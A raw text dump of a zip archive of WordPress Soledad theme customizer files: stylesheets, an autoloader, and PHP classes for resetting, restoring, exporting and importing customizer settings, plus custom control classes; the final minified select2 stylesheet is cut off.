.customizer-import-form .fields {
    display: flex;
    flex-wrap: wrap;
    align-items: center;
    width: 100%;
}
.customizer-import-form .left-field {
    width: 70%;
    overflow: hidden;
}
.customizer-import-form .right-field {
    width: 30%;
    text-align: right;
    align-self: flex-end;
}
.customizer-import-form .label {
    display: block;
    margin-bottom: 5px;
    font-weight: 600;
}
.customizer-import-file {
    font-size: 11px;
}
PK     0w\3i  i  (  customizer/customizer-tools/autoload.phpnu [        <?php

namespace SoledadCustomizerTools;

defined( 'ABSPATH' ) || die( "Can't access directly" );

// Require helper classes.
require __DIR__ . '/helpers/class-base.php';
require __DIR__ . '/helpers/class-export.php';
require __DIR__ . '/helpers/class-import.php';

// Require setup classes.
require __DIR__ . '/class-setup.php';

// Init classes.
new Setup();
PK     0w\gG    +  customizer/customizer-tools/class-setup.phpnu [        <?php
/**
 * Setup customizer reset.
 *
 * @package soledad
 */

namespace SoledadCustomizerTools;

use SoledadCustomizerTools\Helpers\Export;
use SoledadCustomizerTools\Helpers\Import;

/**
 * Setup customizer reset.
 */
class Setup {
	/**
	 * Setup action & filter hooks.
	 */

	private $wp_customize;

	public function __construct() {
		if ( isset( $_GET['layout_id'] ) && $_GET['layout_id'] ) {
			return;
		}
		add_action( 'customize_register', array( $this, 'customize_register' ) );
		add_action( 'customize_register', array( $this, 'export' ) );
		add_action( 'customize_register', array( $this, 'import' ) );
		add_action( 'customize_controls_enqueue_scripts', array( $this, 'enqueue_scripts' ) );
		add_action( 'customize_controls_print_scripts', array( $this, 'controls_print_scripts' ) );
		add_action( 'wp_ajax_customizer_reset', array( $this, 'handle_ajax_reset' ) );
		add_action( 'wp_ajax_customizer_restore', array( $this, 'handle_ajax_restore' ) );
	}

	/**
	 * Store a reference to `WP_Customize_Manager` instance
	 *
	 * @param object $wp_customize `WP_Customize_Manager` instance.
	 */
	public function customize_register( $wp_customize ) {
		$this->wp_customize = $wp_customize;
	}

	/**
	 * Enqueue assets.
	 */
	public function enqueue_scripts() {
		global $wp;

		// CSS.
		wp_enqueue_style( 'customizer-tools', PENCI_SOLEDAD_URL . '/inc/customizer/customizer-tools/assets/css/customizer-reset.css', array(), PENCI_SOLEDAD_VERSION );

		// JS.
		wp_enqueue_script( 'customizer-tools', PENCI_SOLEDAD_URL . '/inc/customizer/customizer-tools/assets/js/customizer-reset.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION, true );

		// Require the customizer import form.
		require __DIR__ . '/templates/import-form.php';

		$theme_slug = get_option( 'stylesheet' );

		$option_name = 'backup_theme_mods_' . $theme_slug;

		wp_localize_script(
			'customizer-tools',
			'customizerResetObj',
			array(
				'buttons'       => array(
					'reset'   => array(
						'text' => __( 'Reset All', 'soledad' ),
					),
					'export'  => array(
						'text' => __( 'Export', 'soledad' ),
					),
					'import'  => array(
						'text' => __( 'Import', 'soledad' ),
					),
					'restore' => array(
						'text' => __( 'Restore', 'soledad' ),
					),
				),
				'has_previous'  => ! empty ( get_option( $option_name ) ),
				'dialogs'       => array(
					'restoreWarning' => __( "If you accidentally pressed the 'Reset All' button before, this action restores all the data of the Customizer to the last time it was pressed.", 'soledad' ),
					'resetWarning'   => __( "Caution! Proceeding will erase all customizations made for this theme through the WordPress customizer.", 'soledad' ),
					'importWarning'  => __( 'Caution! Using the import tool will overwrite your current customizer data. To save your current customizations, export them prior to importing new data.', 'soledad' ),
					'emptyImport'    => __( 'Please select a file to import.', 'soledad' ),
				),
				'importForm'    => array(
					'templates' => $customizer_import_form,
				),
				'customizerUrl' => admin_url( 'customize.php' ),
				'pluginUrl'     => PENCI_SOLEDAD_URL . '/inc/customizer/customizer-tools/',
				'currentUrl'    => home_url( $wp->request ),
				'nonces'        => array(
					'reset'  => wp_create_nonce( 'customizer-reset' ),
					'export' => wp_create_nonce( 'customizer-export' ),
				),
			)
		);
	}

	/**
	 * Handle ajax request of customizer reset.
	 */
	public function handle_ajax_reset() {
		if ( ! $this->wp_customize->is_preview() ) {
			wp_send_json_error( 'not_preview' );
		}

		if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( $_POST['nonce'], 'customizer-reset' ) ) {
			wp_send_json_error( 'invalid_nonce' );
		}

		$theme_slug     = get_option( 'stylesheet' );
		$option_name    = 'theme_mods_' . $theme_slug;
		$option_bk_name = 'backup_theme_mods_' . $theme_slug;

		// Backup the old data and then delete the original option
		if ( $old_data = get_option( $option_name ) ) {
			update_option( $option_bk_name, $old_data );
			delete_option( $option_name );
		}

		wp_send_json_success();
	}

	/**
	 * Handle ajax request of customizer restore.
	 */
	public function handle_ajax_restore() {
		if ( ! $this->wp_customize->is_preview() ) {
			wp_send_json_error( 'not_preview' );
		}

		if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( $_POST['nonce'], 'customizer-reset' ) ) {
			wp_send_json_error( 'invalid_nonce' );
		}

		$theme_slug = get_option( 'stylesheet' );

		$option_name    = 'theme_mods_' . $theme_slug;
		$option_bk_name = 'backup_theme_mods_' . $theme_slug;

		$old_data = get_option( $option_bk_name );

		if ( ! empty ( $old_data ) ) {
			update_option( $option_name, $old_data );
			delete_option( $option_bk_name );
		}

		wp_send_json_success();
	}

	/**
	 * Setup customizer export.
	 */
	public function export() {
		if ( ! is_customize_preview() ) {
			return;
		}

		if ( ! isset( $_GET['action'] ) || 'customizer_export' !== $_GET['action'] ) {
			return;
		}

		if ( ! isset( $_GET['nonce'] ) || ! wp_verify_nonce( $_GET['nonce'], 'customizer-export' ) ) {
			return;
		}

		$exporter = new Export( $this->wp_customize );

		$exporter->export();
	}

	/**
	 * Setup customizer import.
	 */
	public function import() {
		if ( ! is_customize_preview() ) {
			return;
		}

		if ( ! isset( $_POST['action'] ) || 'customizer_import' !== $_POST['action'] ) {
			return;
		}

		if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( $_POST['nonce'], 'customizer-import' ) ) {
			return;
		}

		require_once __DIR__ . '/helpers/class-customizer-setting.php';

		$importer = new Import();

		$importer->import();
	}

	/**
	 * Prints scripts for the control.
	 */
	public function controls_print_scripts() {
		global $customizer_reset_error;

		if ( $customizer_reset_error ) {
			echo '<script> alert("' . $customizer_reset_error . '"); </script>';
		}
	}
}
PK     0w\G9    @  customizer/customizer-tools/helpers/class-customizer-setting.phpnu [        <?php
/**
 * Customizer Setting.
 *
 * @package soledad
 */

namespace SoledadCustomizerTools\Helpers;

use WP_Customize_Setting;

/**
 * A class that extends WP_Customize_Setting so we can access
 * the protected updated method when importing options.
 */
final class Customizer_Setting extends WP_Customize_Setting {
	/**
	 * Import an option value for this setting.
	 *
	 * @param mixed $value The option value.
	 * @return void
	 */
	public function import( $value ) {
		$this->update( $value );
	}
}
PK     0w\.  .  4  customizer/customizer-tools/helpers/class-import.phpnu [        <?php
/**
 * Customizer import helper.
 *
 * @package soledad
 */

namespace SoledadCustomizerTools\Helpers;

/**
 * A class that handle customizer import.
 */
class Import extends Base {
	/**
	 * An instance of WP_Customize_Manager.
	 *
	 * @access private
	 * @var object $wp_customize
	 */
	private $wp_customize;

	/**
	 * Class constructor
	 *
	 * @param object $wp_customize `WP_Customize_Manager` instance.
	 */
	public function __construct( $wp_customize = null ) {
		$this->wp_customize = $wp_customize;
	}

	/**
	 * Import the customizer.
	 */
	public function import() {
		global $wp_customize;
		global $customizer_reset_error;

		// Make sure WordPress upload support is loaded.
		if ( ! function_exists( 'wp_handle_upload' ) ) {
			require_once ABSPATH . 'wp-admin/includes/file.php';
		}

		$customizer_reset_error = false;

		// Setup internal vars.
		$template  = get_template();
		$overrides = array(
			'test_form' => false,
			'test_type' => false,
		);
		$file      = wp_handle_upload( $_FILES['customizer_import_file'], $overrides );

		// Make sure we have an uploaded file.
		if ( isset( $file['error'] ) ) {
			$customizer_reset_error = $file['error'];
			return;
		}

		if ( ! file_exists( $file['file'] ) ) {
			$customizer_reset_error = __( 'Import error! Please try again.', 'soledad' );
			return;
		}

		// Get the upload data.
		$raw  = file_get_contents( $file['file'] );
		$data = json_decode( $raw, true );

		// Remove the uploaded file.
		unlink( $file['file'] );

		// Data checks.
		if ( ! is_array( $data ) ) {
			$customizer_reset_error = __( 'Import error! Please ensure that the file you are uploading is a valid Customizer export file.', 'soledad' );
			return;
		}

		if ( ! isset( $data['template'] ) || ! isset( $data['mods'] ) ) {
			$customizer_reset_error = __( 'Import error! Please ensure that the file you are uploading is a valid Customizer export file.', 'soledad' );
			return;
		}

		if ( $data['template'] !== $template ) {
			$customizer_reset_error = __( 'Import error! The customizer settings provided are not compatible with the current theme.', 'soledad' );
			return;
		}

		// Import images.
		$data['mods'] = $this->import_images( $data['mods'] );

		// Import custom options.
		if ( isset( $data['options'] ) ) {

			foreach ( $data['options'] as $option_key => $option_value ) {

				$option = new Customizer_Setting(
					$wp_customize,
					$option_key,
					array(
						'default'    => '',
						'type'       => 'option',
						'capability' => 'edit_theme_options',
					)
				);

				$option->import( $option_value );
			}
		}

		// If wp_css is set then import it.
		if ( function_exists( 'wp_update_custom_css_post' ) && isset( $data['wp_css'] ) && '' !== $data['wp_css'] ) {
			wp_update_custom_css_post( $data['wp_css'] );
		}

		// Call the customize_save action.
		do_action( 'customize_save', $wp_customize );

		// Loop through the mods.
		foreach ( $data['mods'] as $key => $val ) {

			// Call the customize_save_ dynamic action.
			do_action( 'customize_save_' . $key, $wp_customize );

			// Save the mod.
			set_theme_mod( $key, $val );
		}

		// Call the customize_save_after action.
		do_action( 'customize_save_after', $wp_customize );
	}

	/**
	 * Imports images for settings saved as mods.
	 *
	 * @access private
	 * @param array $mods An array of customizer mods.
	 * @return array The mods array with any new import data.
	 */
	private function import_images( $mods ) {
		foreach ( $mods as $key => $val ) {

			if ( $this->is_image_url( $val ) ) {

				$data = $this->sideload_image( $val );

				if ( ! is_wp_error( $data ) ) {

					$mods[ $key ] = $data->url;

					// Handle header image controls.
					if ( isset( $mods[ $key . '_data' ] ) ) {
						$mods[ $key . '_data' ] = $data;
						update_post_meta( $data->attachment_id, '_wp_attachment_is_custom_header', get_stylesheet() );
					}
				}
			}
		}

		return $mods;
	}

	/**
	 * Checks to see whether a string is an image url or not.
	 *
	 * @access private
	 * @param string $string The string to check.
	 * @return bool Whether the string is an image url or not.
	 */
	private function is_image_url( $string = '' ) {
		if ( is_string( $string ) ) {

			if ( preg_match( '/\.(jpg|jpeg|png|gif)/i', $string ) ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Taken from the core media_sideload_image function and
	 * modified to return an array of data instead of html.
	 *
	 * @access private
	 * @param string $file The image file path.
	 * @return array An array of image data.
	 */
	private function sideload_image( $file ) {
		$data = new \stdClass();

		if ( ! function_exists( 'media_handle_sideload' ) ) {
			require_once ABSPATH . 'wp-admin/includes/media.php';
			require_once ABSPATH . 'wp-admin/includes/file.php';
			require_once ABSPATH . 'wp-admin/includes/image.php';
		}

		if ( ! empty( $file ) ) {

			// Set variables for storage, fix file filename for query strings.
			preg_match( '/[^\?]+\.(jpe?g|jpe|gif|png)\b/i', $file, $matches );
			$file_array         = array();
			$file_array['name'] = basename( $matches[0] );

			// Download file to temp location.
			$file_array['tmp_name'] = download_url( $file );

			// If error storing temporarily, return the error.
			if ( is_wp_error( $file_array['tmp_name'] ) ) {
				return $file_array['tmp_name'];
			}

			// Do the validation and storage stuff.
			$id = media_handle_sideload( $file_array, 0 );

			// If error storing permanently, unlink.
			if ( is_wp_error( $id ) ) {
				@unlink( $file_array['tmp_name'] );
				return $id;
			}

			// Build the object to return.
			$meta                = wp_get_attachment_metadata( $id );
			$data->attachment_id = $id;
			$data->url           = wp_get_attachment_url( $id );
			$data->thumbnail_url = wp_get_attachment_thumb_url( $id );
			$data->height        = $meta['height'];
			$data->width         = $meta['width'];
		}

		return $data;
	}
}
PK     0w\7    2  customizer/customizer-tools/helpers/class-base.phpnu [        <?php
/**
 * Base Helper.
 *
 * @package soledad
 */

namespace SoledadCustomizerTools\Helpers;

/**
 * A base helper class.
 */
class Base {
	/**
	 * An array of core options that shouldn't be imported.
	 *
	 * @access protected
	 * @var array $core_options
	 */
	protected $core_options = array(
		'blogname',
		'blogdescription',
		'show_on_front',
		'page_on_front',
		'page_for_posts',
	);
}
PK     0w\Y  Y  4  customizer/customizer-tools/helpers/class-export.phpnu [        <?php
/**
 * Customizer export helper.
 *
 * @package soledad
 */

namespace SoledadCustomizerTools\Helpers;

/**
 * A class that handle customizer export.
 */
class Export extends Base {
	/**
	 * An instance of WP_Customize_Manager.
	 *
	 * @access private
	 * @var object $wp_customize
	 */
	private $wp_customize;

	/**
	 * Class constructor
	 *
	 * @param object $wp_customize `WP_Customize_Manager` instance.
	 */
	public function __construct( $wp_customize = null ) {
		$this->wp_customize = $wp_customize;
	}

	/**
	 * Export the customizer.
	 */
	public function export() {
		$theme    = get_stylesheet();
		$template = get_template();
		$charset  = get_option( 'blog_charset' );
		$mods     = get_theme_mods();
		$data     = array(
			'template' => $template,
			'mods'     => $mods ? $mods : array(),
			'options'  => array(),
		);

		// Get options from the Customizer API.
		$settings = $this->wp_customize->settings();

		foreach ( $settings as $key => $setting ) {

			if ( 'option' === $setting->type ) {

				// Don't save widget data.
				if ( 'widget_' === substr( strtolower( $key ), 0, 7 ) ) {
					continue;
				}

				// Don't save sidebar data.
				if ( 'sidebars_' === substr( strtolower( $key ), 0, 9 ) ) {
					continue;
				}

				// Don't save core options.
				if ( in_array( $key, $this->core_options, true ) ) {
					continue;
				}

				$data['options'][ $key ] = $setting->value();
			}
		}

		// Plugin developers can specify additional option keys to export.
		$option_keys = apply_filters( 'customizer_export_option_keys', array() );

		foreach ( $option_keys as $option_key ) {
			$data['options'][ $option_key ] = get_option( $option_key );
		}

		if ( function_exists( 'wp_get_custom_css_post' ) ) {
			$data['wp_css'] = wp_get_custom_css();
		}

		$file_name_diff = date( "YmdHis" );

		// Set the download headers.
		header( 'Content-disposition: attachment; filename=Soledad-Customizer-' . $file_name_diff . '.json' );
		header( 'Content-Type: application/octet-stream; charset=' . $charset );

		// Output the export data.
		echo wp_json_encode( $data );

		// Start the download.
		exit;
	}
}
PK     0w\'@x      customizer/controller.phpnu [        <?php
/**
 * Custom controller numbers type and categories type
 *
 * @package Wordpress
 * @since 1.0
 */
add_action( 'customize_register', 'pencidesign_customize_register' );
function pencidesign_customize_register( $wp_customize ) {
	class Customize_Number_Control extends WP_Customize_Control {
		public $type = 'number';

		public function render_content() {
			?>
            <label>
                <span class="customize-control-title"><?php echo esc_html( $this->label ); ?></span>
				<?php if ( $this->description ) { ?>
                    <p class="description pheading-description"><?php echo $this->description; ?></p>
				<?php } ?>
                <input type="number" name="quantity" <?php $this->link(); ?>
                       value="<?php echo esc_textarea( $this->value() ); ?>" style="width:70px;">
            </label>
			<?php
		}
	}

	class Customize_CustomCss_Control extends WP_Customize_Control {
		public $type = 'custom_css';

		public function render_content() {
			?>
            <label>
                <span class="customize-control-title"><?php echo esc_html( $this->label ); ?></span>
                <textarea
                        style="width:100%; height:150px;" <?php $this->link(); ?>><?php echo esc_textarea( $this->value() ); ?></textarea>
            </label>
			<?php
		}
	}

	class Penci_Customize_Heading_Control extends WP_Customize_Control {
		public $type = 'heading';

		public function render_content() {
			?>
            <label>
                <h2 class="customize-control-title"
                    style="text-transform: uppercase; text-align: center;"><?php echo esc_html( $this->label ); ?></h2>
				<?php if ( $this->description ) { ?>
                    <p class="description pheading-description"><?php echo $this->description; ?></p>
				<?php } ?>
                <hr style="border-top:1px solid #111;"/>
            </label>
			<?php
		}
	}

	class Penci_Customize_List_Menus_Control extends WP_Customize_Control {
		public $type = 'list_menus';

		public function render_content() {
			?>
            <label>
                <span class="customize-control-title"><?php echo esc_html( $this->label ); ?></span>
                <select name="_customize-input-<?php echo $this->id; ?>"
                        id="_customize-input-<?php echo $this->id; ?>" <?php $this->link(); ?>>
                    <option value=""><?php esc_html_e( '— Select —', 'soledad' ); ?></option>
					<?php
					$menus = get_terms( 'nav_menu' );
					foreach ( $menus as $menu ) {
						$menu_name = $menu->name;
						?>
                        <option value="<?php echo $menu_name; ?>"<?php if ( $menu_name == $this->value() ): echo ' select="selected"'; endif; ?>><?php echo $menu_name; ?></option>
						<?php
					}
					?>
                </select>
            </label>
			<?php
		}
	}

	class Penci_Customize_Control_Checkbox_Multiple extends WP_Customize_Control {

		public $type = 'checkbox-multiple';

		public function enqueue() {
			wp_enqueue_script( 'penci-customize-controls-multi-checkbox', trailingslashit( PENCI_SOLEDAD_URL ) . 'inc/customizer/js/multi-select.js', array( 'jquery' ), '0.1', true );
		}

		public function render_content() {

			if ( empty( $this->choices ) ) {
				return;
			} ?>

			<?php if ( ! empty( $this->label ) ) : ?>
                <span class="customize-control-title"><?php echo esc_html( $this->label ); ?></span>
			<?php endif; ?>

			<?php if ( ! empty( $this->description ) ) : ?>
                <span class="description customize-control-description"><?php echo $this->description; ?></span>
			<?php endif; ?>

			<?php $multi_values = ! is_array( $this->value() ) ? explode( ',', $this->value() ) : $this->value(); ?>

            <ul>
				<?php foreach ( $this->choices as $value => $label ) : ?>

                    <li>
                        <label>
                            <input type="checkbox"
                                   value="<?php echo esc_attr( $value ); ?>" <?php checked( in_array( $value, $multi_values ) ); ?> />
							<?php echo esc_html( $label['name'] ); ?>
                        </label>
                    </li>

				<?php endforeach; ?>
            </ul>

            <input id="_customize-input-<?php echo $this->id; ?>" name="_customize-input-<?php echo $this->id; ?>"
                   type="hidden" <?php $this->link(); ?>
                   value="<?php echo esc_attr( implode( ',', $multi_values ) ); ?>"/>
		<?php }
	}
}

if ( class_exists( 'WP_Customize_Control' ) ) {
	class WP_Customize_Category_Control extends WP_Customize_Control {
		public function render_content() {
			$dropdown = wp_dropdown_categories( array(
				'name'              => '_customize-dropdown-categories-' . $this->id,
				'echo'              => 0,
				'show_option_none'  => esc_html__( '- Select -', 'soledad' ),
				'option_none_value' => '0',
				'selected'          => $this->value(),
			) );

			// Hackily add in the data link parameter.
			$dropdown = str_replace( '<select', '<select ' . $this->get_link(), $dropdown );

			printf( '<label class="customize-control-select"><span class="customize-control-title">%s</span> %s</label>', $this->label, $dropdown );
		}
	}

}

/**
 * Add customize documentation for Soledad
 *
 * @since 4.0
 *
 */
add_action( 'customize_controls_enqueue_scripts', 'penci_customizer_documentation' );
/**
 * Enqueue script for customizer control
 */
if ( ! function_exists( 'penci_customizer_documentation' ) ) {
	function penci_customizer_documentation() {
		wp_enqueue_script( 'penci-customizer', PENCI_SOLEDAD_URL . '/js/customizer.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION, true );
		wp_localize_script( 'penci-customizer', 'SoledadCustomizerDoc',
			array(
				'docs' => 'View Documentation'
			)
		);
	}
}
?>
PK     0w\g	  g	  *  customizer/css/customizer-search-admin.cssnu [        .search-input {
    display: block;
    margin-bottom: 8px;
}

.customizer-search-section {
    padding: 10px;
}

.customizer-search-input {
    width: 77%
}

.customizer-search-section {
    padding: 10px;
}

.customize-pane-parent {
    overflow: inherit;
}

#customize-controls .customize-info .customize-search-toggle {
    padding: 20px;
}

#customize-controls .customize-info .customize-search-toggle {
    position: absolute;
    right: 1px;
    bottom: 4px;
    width: 20px;
    height: 20px;
    cursor: pointer;
    color: #555d66;
    border: none;
    background: transparent;
    box-shadow: none;
    -webkit-appearance: none;
}

#customize-controls .customize-info .customize-search-toggle:before {
    padding: 4px;
}

#customize-controls .customize-info .customize-search-toggle:before {
    position: absolute;
    top: 5px;
    left: 6px;
}

#accordion-section-customizer-search {
    margin-bottom: 0;
    padding: 12px 15px;
    color: #555d66;
    border-top: 1px solid #ddd;
    background: #fff;
}

#accordion-section-customizer-search .accordion-section-title:after {
    content: none;
}

.customizer-search-section {
    padding: 0;
}

.search-not-found {
    display: none;
    visibility: hidden;
    height: 0;
    transition: height 0.3s ease-in-out;
    opacity: 0;
}

.search-found {
    visibility: visible;
    height: 100%;
    transition: height 0.3s ease-in-out;
    opacity: 1;
}

#search-results .accordion-section {
    line-height: 21px;
    position: relative;
    padding: 10px 10px 11px 14px;
    border-right: none;
    border-left: none;
    background: #fff;
}

#search-results .accordion-section h3 {
    margin: 0;
    padding: 0;
}

#search-results .accordion-section:hover {
    background: #f3f3f5;
}

.search-setting-path {
    display: flex;
    cursor: pointer;
}

#search-results .accordion-section:after {
    font: normal 20px/1 dashicons;
    display: block;
    text-decoration: none !important;
    speak: none;
    -webkit-font-smoothing: antialiased;
    -moz-osx-font-smoothing: grayscale;
}

#search-results .accordion-section:after {
    position: absolute;
    z-index: 1;
    top: calc(50% - 10px);
    right: 10px;
    content: "\f345";
}

#search-results .accordion-section h3:after {
    content: none;
}

#search-results .accordion-section h3:hover {
    background: inherit;
}

#customize-controls .hl {
    background: #ffcd1724;
}
PK     0w\      customizer/css/button.cssnu [        button[data-type="penci_speed_delete_cache"]:before,
button[data-type="penci_fix_polylang_translation"]:before,
button[data-type="render_separate_css"]:before {
	font: normal 20px/.5 dashicons;
	speak: none;
	display: inline-block;
	padding: 0;
	top: 9px;
	left: -4px;
	position: relative;
	vertical-align: top;
	content: "\f463";
}
button[data-type="render_separate_css"].loading:before,
button[data-type="penci_fix_polylang_translation"].loading:before,
button[data-type="penci_speed_delete_cache"].loading:before {
	animation: rotation 1s infinite linear;
}
button[data-type="render_separate_css"].success:before,
button[data-type="penci_fix_polylang_translation"].success:before,
button[data-type="penci_speed_delete_cache"].success:before {
	content: "\f147";
	color: #46b450;
}
PK     0w\ID    #  customizer/css/range-customizer.cssnu [        .customize-control-pencidesign-custom-range-slider .penci-range-lable{
	font-size: 13px;
	font-weight: 600;
	color: #555d66;
	margin-bottom: 0;
	margin-top: 16px;
}
.customize-control-pencidesign-custom-range-slider .pencidesign-range-slider {
	position: relative;
	width: calc(100% - 60px);
	height: 6px;
	background-color: rgba(0,0,0,.10);
	cursor: pointer;
	transition: background .5s;
}
.customize-control-pencidesign-custom-range-slider .has-unit .pencidesign-range-slider {
	width: calc(100% - 90px);
}
.customize-control-pencidesign-custom-range-slider .penci_range_value.hide-value {
	display: none;
}
.customize-control-pencidesign-custom-range-slider .penci_range_value.hide-value + .pencidesign-range-slider {
	width: 100%;
}
.customize-control-pencidesign-custom-range-slider .pencidesign-range-slider .ui-slider-handle {
	height: 16px;
	width: 16px;
	background-color: #2d9de6;
	display: inline-block;
	position: absolute;
	top: 50%;
	transform: translateY(-50%) translateX(-4px);
	border-radius: 50%;
	cursor: pointer;
}
.customize-control-pencidesign-custom-range-slider .wrapper {
    display: flex;
	justify-content: space-between;
	align-items: center;
}
.customize-control-pencidesign-custom-range-slider .penci_range_value {
	font-size: 14px;
	padding: 0;
	font-weight: 400;
	width: 52px;
	display: flex;
}
.customize-control-pencidesign-custom-range-slider .has-unit .penci_range_value {
	width: 80px;
}
.customize-control-pencidesign-custom-range-slider .penci_range_value span.value {
    font-size: 12px;
    width: calc(100% - 2px);
    text-align: center;
    min-height: 30px;
    background: #FFF;
    line-height: 30px;
    border: 1px solid #DDD;
}
.customize-control-pencidesign-custom-range-slider .has-unit .penci_range_value span.value {
	width: calc(100% - 32px);
	display: block;
}
.customize-control-pencidesign-custom-range-slider .penci_range_value .unit {
    width: 29px;
    text-align: center;
    font-size: 12px;
	line-height: 22px;
	background: #fff;
	border: 1px solid #ddd;
	margin-left: 1px;
	height: 24px;
}
.customize-control-pencidesign-custom-range-slider .pencidesign-range-slider-reset span {
    font-size: 16px;
    line-height: 22px;
}
.customize-control-pencidesign-custom-range-slider .penci_range_value input {
    font-size: 12px;
    padding: 0px;
    text-align: center;
	min-height: 24px;
	height: auto;
	border-radius: 0;
	border-color: #ddd;
}
.customize-control-pencidesign-custom-range-slider .has-unit .penci_range_value input {
    width: calc(100% - 30px);
}
.customize-control-pencidesign-custom-range-slider .penci-range-title-area .dashicons {
	cursor: pointer;
	font-size: 11px;
	width: 20px;
	height: 18px;
	line-height: 20px;
	color: #222;
	text-align: center;
	position: relative;
	top: 2px;
}
.customize-control-pencidesign-custom-range-slider .penci-range-title-area .dashicons:hover {
	background: #fafafa;
}
.customize-control-pencidesign-custom-range-slider .penci-range-title-area .dashicons.selected {
	background: #fff;
	color: #222;
}
.penci-range-title-area {
    display: flex;
}
.penci-range-slider-controls {
    margin-left: auto;
	margin-bottom: 4px;
}
.customize-control-pencidesign-custom-range-slider .penci-device-controls > span:first-child:last-child {
	display: none;
}
.customize-control-pencidesign-custom-range-slider .sub-description {
	display: block;
    font-style: italic;
    line-height: 1.4;
    margin: 2px 0 2px;
}
.customize-control-pencidesign-custom-range-slider .pencidesign-range-inner{
	display: flex;
    align-items: center;
}
.customize-control-pencidesign-custom-range-slider .penci-control-process{
	width: 80px;
	float: right;
}
.customize-control-pencidesign-custom-range-slider .penci-range-lableparent{
	width: calc(100% - 82px);
	padding-right: 5px;
}
.customize-control-pencidesign-custom-range-slider .penci-wider-width .penci-control-process{
	width: 53px;
	float: right;
}
.customize-control-pencidesign-custom-range-slider .penci-wider-width .penci-range-lableparent{
	width: calc(100% - 55px);
	padding-right: 5px;
}PK     0w\
v:  v:    customizer/css/select2.min.cssnu [        .select2-container{box-sizing:border-box;display:inline-block;margin:0;position:relative;vertical-align:middle}.select2-container .select2-selection--single{box-sizing:border-box;cursor:pointer;display:block;height:28px;user-select:none;-webkit-user-select:none}.select2-container .select2-selection--single .select2-selection__rendered{display:block;padding-left:8px;padding-right:20px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.select2-container .select2-selection--single .select2-selection__clear{position:relative}.select2-container[dir="rtl"] .select2-selection--single .select2-selection__rendered{padding-right:8px;padding-left:20px}.select2-container .select2-selection--multiple{box-sizing:border-box;cursor:pointer;display:block;min-height:32px;user-select:none;-webkit-user-select:none}.select2-container .select2-selection--multiple .select2-selection__rendered{display:inline-block;overflow:hidden;padding-left:8px;text-overflow:ellipsis;white-space:nowrap}.select2-container .select2-search--inline{float:left}.select2-container .select2-search--inline .select2-search__field{box-sizing:border-box;border:none;font-size:100%;margin-top:5px;padding:0}.select2-container .select2-search--inline .select2-search__field::-webkit-search-cancel-button{-webkit-appearance:none}.select2-dropdown{background-color:white;border:1px solid #aaa;border-radius:4px;box-sizing:border-box;display:block;position:absolute;left:-100000px;width:100%;z-index:1051}.select2-results{display:block}.select2-results__options{list-style:none;margin:0;padding:0}.select2-results__option{padding:6px;user-select:none;-webkit-user-select:none}.select2-results__option[aria-selected]{cursor:pointer}.select2-container--open .select2-dropdown{left:0}.select2-container--open .select2-dropdown--above{border-bottom:none;border-bottom-left-radius:0;border-bottom-right-radius:0}.select2-container--open .select2-dropdown--below{border-top:none;border-top-left-radius:0;border-top-right-radius:0}.select2-search--dropdown{display:block;padding:4px}.select2-search--dropdown .select2-search__field{padding:4px;width:100%;box-sizing:border-box}.select2-search--dropdown .select2-search__field::-webkit-search-cancel-button{-webkit-appearance:none}.select2-search--dropdown.select2-search--hide{display:none}.select2-close-mask{border:0;margin:0;padding:0;display:block;position:fixed;left:0;top:0;min-height:100%;min-width:100%;height:auto;width:auto;opacity:0;z-index:99;background-color:#fff;filter:alpha(opacity=0)}.select2-hidden-accessible{border:0 !important;clip:rect(0 0 0 0) !important;-webkit-clip-path:inset(50%) !important;clip-path:inset(50%) !important;height:1px !important;overflow:hidden !important;padding:0 !important;position:absolute !important;width:1px !important;white-space:nowrap !important}.select2-container--default .select2-selection--single{background-color:#fff;border:1px solid #aaa;border-radius:4px}.select2-container--default .select2-selection--single .select2-selection__rendered{color:#444;line-height:28px}.select2-container--default .select2-selection--single .select2-selection__clear{cursor:pointer;float:right;font-weight:bold}.select2-container--default .select2-selection--single .select2-selection__placeholder{color:#999}.select2-container--default .select2-selection--single .select2-selection__arrow{height:26px;position:absolute;top:1px;right:1px;width:20px}.select2-container--default .select2-selection--single .select2-selection__arrow b{border-color:#888 transparent transparent transparent;border-style:solid;border-width:5px 4px 0 4px;height:0;left:50%;margin-left:-4px;margin-top:-2px;position:absolute;top:50%;width:0}.select2-container--default[dir="rtl"] .select2-selection--single .select2-selection__clear{float:left}.select2-container--default[dir="rtl"] .select2-selection--single .select2-selection__arrow{left:1px;right:auto}.select2-container--default.select2-container--disabled .select2-selection--single{background-color:#eee;cursor:default}.select2-container--default.select2-container--disabled .select2-selection--single .select2-selection__clear{display:none}.select2-container--default.select2-container--open .select2-selection--single .select2-selection__arrow b{border-color:transparent transparent #888 transparent;border-width:0 4px 5px 4px}.select2-container--default .select2-selection--multiple{background-color:white;border:1px solid #aaa;border-radius:4px;cursor:text}.select2-container--default .select2-selection--multiple .select2-selection__rendered{box-sizing:border-box;list-style:none;margin:0;padding:0 5px;width:100%}.select2-container--default .select2-selection--multiple .select2-selection__rendered li{list-style:none}.select2-container--default .select2-selection--multiple .select2-selection__clear{cursor:pointer;float:right;font-weight:bold;margin-top:5px;margin-right:10px;padding:1px}.select2-container--default .select2-selection--multiple .select2-selection__choice{background-color:#e4e4e4;border:1px solid #aaa;border-radius:4px;cursor:default;float:left;margin-right:5px;margin-top:5px;padding:0 5px}.select2-container--default .select2-selection--multiple .select2-selection__choice__remove{color:#999;cursor:pointer;display:inline-block;font-weight:bold;margin-right:2px}.select2-container--default .select2-selection--multiple .select2-selection__choice__remove:hover{color:#333}.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__choice,.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-search--inline{float:right}.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__choice{margin-left:5px;margin-right:auto}.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__choice__remove{margin-left:2px;margin-right:auto}.select2-container--default.select2-container--focus .select2-selection--multiple{border:solid black 1px;outline:0}.select2-container--default.select2-container--disabled .select2-selection--multiple{background-color:#eee;cursor:default}.select2-container--default.select2-container--disabled 